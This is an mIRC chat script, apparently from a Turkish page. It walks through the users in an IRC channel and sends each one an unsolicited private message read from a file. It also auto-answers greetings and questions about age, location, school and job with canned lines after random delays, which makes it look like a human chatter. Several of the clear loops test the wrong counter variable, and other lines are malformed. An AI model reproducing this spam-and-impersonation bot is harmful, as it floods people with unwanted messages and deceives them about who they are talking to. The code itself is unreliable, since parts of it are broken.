alias sag { inc %snick = | if ($ulist($address($rnick($1,%snick),-1),85,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%snick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%snick),$chr(32),$read(system.sys)) }
alias tag { inc %tnick = | if ($ulist($address($rnick($1,%tnick),-1),90,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%tnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%tnick),$chr(32),$read(system.sys)) }
alias vag { inc %vnick = | if ($ulist($address($rnick($1,%vnick),-1),95,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%vnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%vnick),$chr(32),$read(system.sys)) }
alias yag { inc %ynick = | if ($ulist($address($rnick($1,%ynick),-1),100,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%ynick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%ynick),$chr(32),$read(system.sys)) }
alias zag { inc %znick = | if ($ulist($address($rnick($1,%znick),-1),105,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%znick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%znick),$chr(32),$read(system.sys)) }
alias xag { inc %xnick = | if ($ulist($address($rnick($1,%xnick),-1),110,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%xnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%xnick),$chr(32),$read(system.sys)) }
alias wag { inc %wnick = | if ($ulist($address($rnick($1,%wnick),-1),115,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%wnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%wnick),$chr(32),$read(system.sys)) }
alias qag { inc %qnick = | if ($ulist($address($rnick($1,%qnick),-1),120,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%qnick) = $null) { .disconnect | .clear | halt } | $+(msg,$chr(32),$rnick($1,%qnick),$chr(32),$read(system.sys)) }
alias ela { inc %mes = | if ($ulist($address($rnick($1,%mes),-1),150,1)) { halt } | if ($me !ison $1) { halt } | if ($rnick($1,%mes) = $null) { .disconnect | .turkclear | halt } | $+(msg,$chr(32),$rnick($1,%mes),$chr(32),$read(turkmsj.dll)) }
alias aclear { var %aa $ulist(*,10,0) | while (%aa >= 1) { .ruser $ulist(*,10,%aa) | dec %aa } }
alias bclear { var %bb $ulist(*,15,0) | while (%aa >= 1) { .ruser $ulist(*,15,%bb) | dec %bb } }
alias cclear { var %cc $ulist(*,20,0) | while (%aa >= 1) { .ruser $ulist(*,20,%cc) | dec %cc } }
alias dclear { var %dd $ulist(*,25,0) | while (%aa >= 1) { .ruser $ulist(*,15,%dd) | dec %dd } }
alias eclear { var %ee $ulist(*,30,0) | while (%aa >= 1) { .ruser $ulist(*,30,%ee) | dec %ee } }
alias fclear { var %ff $ulist(*,35,0) | while (%aa >= 1) { .ruser $ulist(*,35,%ff) | dec %ff } }
alias gclear { var %gg $ulist(*,40,0) | while (%gg >= 1) { .ruser $ulist(*,40,%gg) | dec %gg } }
alias hclear { var %hh $ulist(*,45,0) | while (%gg >= 1) { .ruser $ulist(*,45,%hh) | dec %hh } }
alias ıclear { var %ıı $ulist(*,50,0) | while (%gg >= 1) { .ruser $ulist(*,50,%ıı) | dec %ıı } }
alias iclear { var %ii $ulist(*,55,0) | while (%gg >= 1) { .ruser $ulist(*,45,%ii) | dec %ii } }
alias jclear { var %jj $ulist(*,60,0) | while (%gg >= 1) { .ruser $ulist(*,60,%jj) | dec %jj } }
alias kclear { var %kk $ulist(*,65,0) | while (%gg >= 1) { .ruser $ulist(*,65,%kk) | dec %kk } }
alias lclear { var %ll $ulist(*,70,0) | while (%ll >= 1) { .ruser $ulist(*,70,%ll) | dec %ll } }
alias mclear { var %mm $ulist(*,75,0) | while (%ll >= 1) { .ruser $ulist(*,75,%mm) | dec %mm } }
alias nclear { var %nn $ulist(*,80,0) | while (%ll >= 1) { .ruser $ulist(*,80,%nn) | dec %nn } }
alias pclear { var %pp $ulist(*,85,0) | while (%ll >= 1) { .ruser $ulist(*,85,%pp) | dec %pp } }
alias rclear { var %rr $ulist(*,90,0) | while (%ll >= 1) { .ruser $ulist(*,90,%rr) | dec %rr } }
alias sclear { var %ss $ulist(*,95,0) | while (%ll >= 1) { .ruser $ulist(*,95,%ss) | dec %ss } }
alias tclear { var %tt $ulist(*,100,0) | while (%tt >= 1) { .ruser $ulist(*,100,%tt) | dec %tt } }
alias vclear { var %vv $ulist(*,105,0) | while (%tt >= 1) { .ruser $ulist(*,105,%vv) | dec %vv } }
alias yclear { var %yy $ulist(*,110,0) | while (%tt >= 1) { .ruser $ulist(*,110,%yy) | dec %yy } }
alias zclear { var %zz $ulist(*,115,0) | while (%tt >= 1) { .ruser $ulist(*,115,%zz) | dec %zz } }
alias xclear { var %xx $ulist(*,120,0) | while (%tt >= 1) { .ruser $ulist(*,120,%xx) | dec %xx } }
alias turkclear { var %mes $ulist(*,150,0) | while (%mes >= 1) { .ruser $ulist(*,150,%mes) | dec %mes } }
on *:text:* {
if ($cid == 1) {
if ($1 = slm) { inc %slm | if (%slm >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(Hhell.dll) }
if ($1 = nbr) { inc %nbr | if (%nbr >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HNbr.dll) }
if ($1 = nasılsın) { inc %nas | if (%nas >= 3) { msg nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HNas.dll) }
if ($1 = neresinden) { inc %ners | if (%ners >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HNerd.dll) }
if ($1 = nerden) { inc %ner | if (%ner >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HFrom.dll) }
if ($1 = yaş) { inc %yas | if (%yas >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HaGe.dll) }
if ($1 = okul) { inc %jop | if (%jop >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HJob.dll) }
if ($1 = iş) { inc %jop | if (%jop >= 3) { msg $nick $read(yeter.txt) } | .timer 1 $r(2,6) msg $nick $read(HJob.dll) }
}
if ($cid != 1) !isin $server) { closemsg $nick | halt }
}
|
Yorumlar |
|
|
